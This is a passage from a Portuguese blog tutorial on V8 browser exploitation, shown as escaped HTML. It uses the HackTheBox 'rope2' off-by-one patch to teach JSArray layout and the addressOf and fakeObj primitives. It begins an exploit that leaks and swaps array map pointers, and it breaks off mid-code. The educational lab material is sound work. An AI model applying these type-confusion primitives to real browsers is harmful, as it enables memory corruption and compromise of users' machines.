&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;Array&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Length&lt;/span&gt;         &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;          &lt;span class=&#34;mh&#34;&gt;0x00000004&lt;/span&gt;          &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                             &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;+-----------------------------+&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;+------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                             &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Other&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;unimportant&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;...&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;          &lt;span class=&#34;mh&#34;&gt;0x00000006&lt;/span&gt;          &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                             &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;+-----------------------------+&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;+------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                      &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                      &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;          &lt;span class=&#34;mh&#34;&gt;0x00000008&lt;/span&gt;          &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                      &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                      &lt;span class=&#34;o&#34;&gt;+------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;Ref&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;https://www.elttam.com/blog/simple-bugs-with-complex-exploits/#arrays-in-v8&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;JSArray é o real objeto a qual a variável &lt;code&gt;array&lt;/code&gt; aponta, nele existem vários campos importantes, entre eles podemos enumerar os mais importantes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Map Pointer:&lt;br&gt;
Essa propriedade determina o &lt;em&gt;&amp;ldquo;shape&amp;rdquo;&lt;/em&gt; do array, semelhante a uma struct, definindo os tipos das suas propriedades.&lt;/li&gt;
&lt;li&gt;Properties pointer&lt;br&gt;
Basicamente aponta para as propriedades as quais o array pode ter.&lt;/li&gt;
&lt;li&gt;Elements Pointer&lt;br&gt;
Finalmente o lugar o qual aponta para os valores de fato.&lt;/li&gt;
&lt;li&gt;Array Length&lt;br&gt;
De forma nada surpreendente, esse é o tamanho do array, propriedade que pode ser muito útil em alguns casos, como um overwrite nela pode te liberar um read/write OOB.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Agora que temos uma ideia melhor de como tudo está alocado e funcionando por baixo dos panos, podemos continuar para o próximo passo.&lt;/p&gt;
&lt;h2 id=&#34;exploitation-&#34;&gt;Exploitation 😎&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Eu usarei uma máquina do HTB, a rope2, para utilizar uma falha induzida como exemplo&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Basicamente vamos ter um &lt;a class=&#34;link&#34; href=&#34;https://github.com/harddiskbrasil/blog-browser-exploitation/blob/master/Browser-exploitation/rope2.patch&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;arquivo de patch&lt;/a&gt; adicionando 2 funções build-in em arrays (&lt;code&gt;ArrayGetLastElement&lt;/code&gt; e &lt;code&gt;ArraySetLastElement&lt;/code&gt;), pórem elas têm um erro simples de lógica, para acessar o &lt;em&gt;&amp;ldquo;LastElement&amp;rdquo;&lt;/em&gt; é usado o tamanho do array, no entretanto sem levar em conta que o valor inicial em arrays é 0, irei demonstrar o erro com o seguinte pseudo código:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//            0    1    2    3    4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;b&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;c&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;d&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;e&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;arraySize&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;length&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// 5
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;lastElement&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;arraySize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// ??
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Com isso podemos ler e escrever após o nosso &lt;a class=&#34;link&#34; href=&#34;#arrays-na-memoria&#34; &gt;array&lt;/a&gt;, pórem como podemos fazer isso se transformar em uma primitiva read/write?&lt;/p&gt;
&lt;h2 id=&#34;técnicas&#34;&gt;Técnicas&lt;/h2&gt;
&lt;p&gt;Quando se trata de browser exploitation, nosso objetivo é sempre adquirir duas &lt;em&gt;&amp;ldquo;semi primitivas&amp;rdquo;&lt;/em&gt;, a &lt;strong&gt;address of&lt;/strong&gt; e o &lt;strong&gt;fake object&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&#34;address-of&#34;&gt;Address of&lt;/h3&gt;
&lt;p&gt;Essa técnica tem o objetivo bem claro, adquirir o endereço de uma variável, para isso devemos criar um array de doubles e converter ele para um array de objetos, após isso adicionar a variável que queremos o endereço e convertemos novamente para doubles, assim teremos o ponteiro da variável e não mais a variável em si.&lt;br&gt;
pseudo código:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;1.1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// double array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// trigga algum bug para realizar essa converção
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;do_magic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// object array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;find_me&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;prop&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;value&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// array[1] = pointer =&amp;gt; find_me
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;find_me&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;do_magic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// double array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// agora não seguimos mais o ponteiro pois ele esta sendo
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// intepretado como um float, assim podemos ler diretamente o endereço
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;fake-object&#34;&gt;Fake Object&lt;/h3&gt;
&lt;p&gt;O &lt;strong&gt;fake object&lt;/strong&gt; tem uma ideia extremamente semelhante ao &lt;strong&gt;address of&lt;/strong&gt;, funcionando como o oposto dele.&lt;br&gt;
Basicamente ao invés de achar um endereço, nosso objetivo aqui é acessar um endereço qualquer a nossa escolha, usando uma variação da mesma técnica, assim podemos ter o seguinte pseudo código:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;1.1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// double array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ALERTA
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// Esse ponteiro deve ser &amp;#34;packeado&amp;#34; para 64/32 bits em um cenario real
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;pointer&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xbabebeef&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;pointer&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// escrevo nosso endereço no array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// trigga algum bug para realizar essa converção
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;do_magic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// object array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// agora temos em &amp;#34;array[1]&amp;#34; um objeto que aponta para o nosso endereço
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// com isso temos praticamente um read/write
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;sem-mais-magia&#34;&gt;Sem mais magia&lt;/h4&gt;
&lt;p&gt;Até agora usei uma função &lt;code&gt;do_magic&lt;/code&gt; para exemplificar um bug, pórem como todos sabem não existe mágica, então vamos desmistificar essa tal &lt;em&gt;magia&lt;/em&gt;.&lt;br&gt;
Na sessão de &lt;a class=&#34;link&#34; href=&#34;#arrays-na-memoria&#34; &gt;arrays&lt;/a&gt; eu comento sobre uma propriedade chamada &lt;strong&gt;Map pointer&lt;/strong&gt;, a qual define o formato de um array ou objeto. Basicamente nosso objetivo é conseguir sobrescrever essa propriedade ao nosso favor, transformando o array em float ou objeto.&lt;/p&gt;
&lt;h2 id=&#34;escrevendo-o-exploit-&#34;&gt;Escrevendo o exploit 🐞&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;As funções &lt;code&gt;itof&lt;/code&gt; e &lt;code&gt;ftoi&lt;/code&gt; são simples wrapper de apoio para conversão de float to integer e vise versa&lt;br&gt;
A implementação do &lt;code&gt;fakeObj&lt;/code&gt; e &lt;code&gt;addressOf&lt;/code&gt; serão disponibilizadas no final do post, mas elas não diferem muito do pseudo código mostrado acima.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Agora já sabemos as técnicas e temos um bug, hora de mão na massa.&lt;/p&gt;
&lt;p&gt;Vamos primeiramente criar as variáveis&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;tmp_obj&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;A&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;obj_arr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;tmp_obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;float_arr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;1.1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;float_map&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;float_arr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;GetLastElement&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// Map Pointer do &amp;#34;float_arr&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;obj_map&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;itof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;ftoi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;float_map&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x50&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;// Map Pointer do &amp;#34;obj_arr&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Estamos pegando os &lt;strong&gt;Map pointer&amp;rsquo;s&lt;/strong&gt; de um array float e de um objeto para fazer a &lt;strong&gt;&lt;em&gt;&lt;a class=&#34;link&#34; href=&#34;#sem-mais-magia&#34; &gt;Mágica&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt; de converter os tipos de um array.&lt;br&gt;
Você pode ter percebido que no &lt;code&gt;obj_map&lt;/code&gt; eu não estou usando o GetLastElement e sim um deslocamento a partir do &lt;code&gt;float_map&lt;/code&gt;, isso pode parecer complexo mas é apenas por um ruído que é gerado com a função vulnerável, em outras palavras estou apenas falando que o map do objeto está 0x50 bytes a frente do float map.&lt;/p&gt;
&lt;p&gt;Agora vamos usar as primitivas &lt;code&gt;fakeObj&lt;/code&gt; e &lt;code&gt;addressOf&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fake_arr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;float_map&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// fake =&amp;gt; Object(fake_arr[0])
